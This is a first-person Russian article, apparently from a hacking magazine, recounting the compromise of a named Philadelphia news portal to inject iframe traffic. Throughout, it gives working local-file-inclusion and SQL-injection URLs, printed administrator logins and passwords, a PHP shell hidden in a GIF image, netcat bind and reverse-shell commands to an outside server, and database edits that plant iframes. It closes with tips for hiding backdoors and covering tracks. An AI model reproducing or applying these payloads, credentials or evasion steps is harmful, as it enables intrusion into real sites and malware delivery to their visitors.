День сурка. Взлом крупного новостного портала Филадельфии

Spyder (spyder@live.ru)

Часто, получив веб-шелл на удаленном сервере, не удается поднять права до рута. Шелл так и остается лежать в спрятанной директории, и долго ли он там пролежит – зависит от админа. В лучшем случае, заметят не скоро, а когда заметят, просто удалят. В худшем – залатают все баги да еще и назовут вас нехорошим словом. Степень внимательности и озабоченности сайтом у админа прямо пропорциональна раскрученности и респектабельности. Об одной истории взлома сайта с довольно злым админом я и хочу рассказать.

Welcome to Pennsylvania

Начав заниматься iframe-трафом, я решил поискать в инете хорошо посещаемые ресурсы. Взгляд мой пал на www.philadelphiaweekly.com с посещаемостью 85К уникальных американцев в месяц, – довольно неплохо, учитывая, что на сервере хостилось еще 2 подобных сайта с посещалкой в 25К уников каждый. Сайт представляет собой что-то вроде новостного портала: с различными статьями, новостями, рецензиями – все касается крупного города штата Пенсильвания — Филадельфии. Именно в этих краях уже совсем скоро (2 февраля) большой сурок по имени Фил вылезет из норы и сообщит нашим американским друзьям, как долго продлится зима в их регионе.

Движок у портала был самописный. Это меня очень обрадовало, так как поиск сплоитов для паблик движков на багтраках меня никогда не вдохновлял.

Брутальный взлом

После 10-минутного обследования сайта мной был найден локальный инклуд:

http://www.philadelphiaweekly.com/listings/?this_page=../../../../../../../../../../etc/passwd

Выводил список юзеров сервера. Можно было, конечно, попробовать найти логи апача и, отправив специально сформированный http-пакет, записать в них шелл-код, а потом проинклудить access_log:

http://www.philadelphiaweekly.com/listings/?this_page=../../../../../../../../../../etc/httpd/access_log

Но эта идея была отложена на потом. На сайте присутствовала регистрация новых пользователей, однако в панели управления ничего интересного не обнаружилось, и я решил искать дальше. К счастью, совсем скоро была найдена SQL-Injection (а ведь по виду и не скажешь, что сайт такой дырявый). На момент написания статьи она вполне себе работала:

http://www.philadelphiaweekly.com/print_friendly.php?id=-11+union+select+1,2,3,4,5,6,7,8,9,10,11

Запрос вида

http://www.philadelphiaweekly.com/print_friendly.php?id=-11+union+select+1,2,3,4,5,6,7,version(),9,10,11

не захотел работать (из-за конфликта в кодировках). Чтобы обойти эту ошибку, есть много способов. О всех писать я не буду, напишу только тот, который использовал. Он требует меньше всего нажатий на клавиатуру:

http://www.philadelphiaweekly.com/print_friendly.php?id=-11+union+select+1,2,3,4,5,6,7,cast(version()+as+binary),9,10,11

В итоге, я получил версию — 4.1.12-STANDARD: никакой information_schema, и таблицы придется перебирать вручную. Но, благо, это заняло всего пару секунд! Запрос

http://www.philadelphiaweekly.com/print_friendly.php?id=-11+union+select+1,2,3,4,5,6,7,cast(version()+as+binary),9,10,11+from+users

выдал мне прежний результат. Осталось лишь подобрать колонки. И здесь все было не так просто, но я их подобрал:

http://www.philadelphiaweekly.com/print_friendly.php?id=-11+union+select+1,2,3,4,5,6,7,pword,9,uname,11+from+users

логин mhalloran
пароль nono5150

Что-то мне подсказывало – это логин и пароль админа. Тогда я полез искать админку. Опять же, долго искать не пришлось, она располагалась по адресу

http://www.philadelphiaweekly.com/admin

Тут меня ждал облом, – бейсик-авторизация по .htaccess. Я не надеялся, что меня пустят, но все же попробовал ввести логин и пасс, полученные из БД. Как я и ожидал, появилось окошко авторизации. Следовательно – данные неверные. Самое время вернуться к нашему локальному инклуду:

http://www.philadelphiaweekly.com/listings/?this_page=../admin/.htaccess

Содержимое .htaccess говорило о том, что права на доступ имеют юзеры rpadmin и insue, а сам файл с пасами в /etc/httpd/.htpasswd:

http://www.philadelphiaweekly.com/listings/?this_page=../../../../../../../../../etc/httpd/.htpasswd

В результате, я получил примерно шесть записей вида

login:DES(password)

Так как под рукой не оказалось ни одного брутера хешей, я решил отправить их одному представителю хэк-андерграунда (ники умалчиваются). Через 20 минут по аське был получен ответ:

insue:showmeth

Успешно авторизовавшись, я увидел новую авторизацию, реализованную уже в виде php скрипта. Недолго думая, заполнил анкету из двух пунктов данными, полученными из sql-инъекции. Нажал заветную кнопочку login и увидел красную надпись «Login or password is invalid». Решив, что первый пользователь не является админом, я составил такой sql-запрос:

http://www.philadelphiaweekly.com/print_friendly.php?id=-11+union+select+1,2,3,4,5,6,7,pword,9,uname,11+from+users+limit+1,1

Наградой были логин и пасс второго юзера:

mcobb:tango

Зайдя в админку и введя новые данные, я лицезрел приятную надпись

«Sign as mcobb»

Админка была небольшой в размерах и представляла собой несколько скриптов редактирования статей, заливки картинок и прочей ненужной лабуды.
К моему удивлению, скрипт заливки картинок наотрез отказывался заливать любые файлы, поэтому мой взгляд пал на редактирование статей. В каждой статье было несколько полей, таких как имя автора, заголовок, текст статьи, дата и т.д. Также можно было загрузить две картинки – одну большую и одну маленькую (что-то типа аватара). Отредактировать большую картинку было нельзя, а вот маленькую перезалить было вполне реально. Я попытался залить php-шелл, но меня ждала неудача, ибо скрипт позволял добавить только .jpg и .gif-файлы. Меня это не остановило. Для тех, кто не знает, скажу, что при использовании include(), include_once(), require() и require_once() любой файл, переданный этим функциям, будет выполнен как php код, независимо от расширения – будь это mp3, avi или .gif. Поэтому я решил создать .gif-картинку с шеллом внутри. Для этого идем в paint (ну или любой другой редактор), создаем картинку размером 1x1 пиксель, сохраняем. Открываем ее любым текстовым редактором, лучше всего wordpad'ом и в самый конец файла вставляем наш php-шелл. Сохраняем как .gif – все, боевая картинка готова. Идем в админку и добавляем нашу gif'ку.

Она разместилась по адресу:

http://www.philadelphiaweekly.com/images/issues/1969-12-31/large/img_16639_10_1.gif

Просто открыв ее в браузере, ты ничего не видишь. Но после того как я ее проинклудил

http://www.philadelphiaweekly.com/listings/?this_page=../images/issues/1969-12-31/large/img_16639_10_1.gif

– передо мной предстал хорошо знакомый ANTICHAT-Shell

Я внутри

Первым делом залил нормальный шелл в директорию, доступную на запись. Сервер стоял на линуксе с довольно старым ядром 2.4 ветки, к тому же, команда uname-a показывала, что последнее обновление ядра было в 2004 году. Следовательно, можно было рассчитывать на поднятие привелегий до рута, благо, под эти ядра есть большое количество сплоитов.

Залив netcat, я выполнил команду

nc -l -p 22224 -e /bin/sh &

Этим я открыл 22224 порт и привязал к нему шелл. Пробую приконектиться, для чего у себя я выполнил:

netcat -v www.philadelphiaweekly.com 22224

Но меня ждала неудача – файрвол блокировал входящие соединения. Оставался один выход — бэкконект. Для этого я открыл на дедике все тем же неткатом

nc -l -p 22224

– а на сервере www.philadelphiaweekly.com выполнил

nc -v www.dedik.com 22224 -e /bin/sh &

Полноценный шелл был получен. К сожалению, на запуск любых local root exploit'ов ядро отвечало

/bin/sh sploit killed

Так и не получив рута, я решил довольствоваться тем, что есть. Моя задача была поставить iframe на каждый сайт и желательно во все файлы. Можно было банально редактировать каждый файл, но, во-первых, это очень долго, во-вторых, у меня было недостаточных прав. Пришлось искать глобальные файлы. Таким оказался db_connect_details.php, который инклудился тремя сайтами сразу во всех скриптах. Вставив туда фрейм, я с удовольствием наблюдал поток трафа на тдс.

Радость моя была недолгой, так как примерно через два часа ифрейм был убран, а шелл удален. Однако все баги остались, как есть, и залить шелл еще раз не составило труда. Но и админ не хотел сдаваться – с упорством удалял шеллы и фреймы. Эта война продолжалась примерно часов 8. Затем он сделал интересную вещь. При заходе в админку стоял редирект на www.gofuckyourself.com, что меня изрядно позабавило. Так как было уже поздно, я пошел спать, решив, что админу все-таки когда-нибудь потребуется админка.

На следующий день, как я и ожидал, редирект был убран, баги не закрыты, и даже пассы остались в том же виде. После операции по заливке шелла меня ждал облом. На всех файлах стояли права -r---r-xt, к тому же, стики-бит означал, что удалять файл может только его владелец. Первым делом я решил ответить админу. Найдя в папке /admin/ файл head.html, доступный на запись, я вставил туда текст:

no muthafucka' go fuck YOURself

Так как права на файлы не позволяли их редактировать, единственным выходом из сложившейся ситуации была база данных.

Любимый MySQL

Сайт был новостным, а значит, на главной странице содержалась различная информация о последних событиях, статьях и т.п. Найдя в той же самой db_connect_details.php, логин и пароль mysql юзера, я залил небольшой клиент для работы с MySQL, и передо мной открылась огромных размеров БД сразу трех сайтов.

Следует сказать, что на главной странице сайта есть имена некоторых авторов. Именно это и стало моей целью.

В базе была найдена таблица pw_authors. Меня интересовали поля fname и lname. Вставить в них фрейм было нельзя, так как под каждое поле было выделено 50 символов. Нужно это дело менять! Выполнив запрос

ALTER TABLE pw_authors CHANGE lname lname varhcar(250)

– я увеличил размер поля до 250 знаков, что позволило вставить фрейм. То же самое я проделал и с двумя другими сайтами. Фрейм продержался примерно два дня, после этого админ удалил шелл и фрейм, поставив в .htaccess ограничение по IP для входа в админку. Собственно, на этом все и закончилось.

Ошибки и советы

1. Главный совет — как можно больше троянь скрипты, вставляя php-код. Админ может заметить шелл, но не будет проверять свой скрипт.
2. Обязательно меняй дату последнего редактирования файла командой touch.
3. Для тех, кто занимается трафом – шифруй свой iframe код, вставляй код в css-стили, там он менее заметен.
4. Отправляй запросы методом POST.
5. Делай все как можно быстрее :).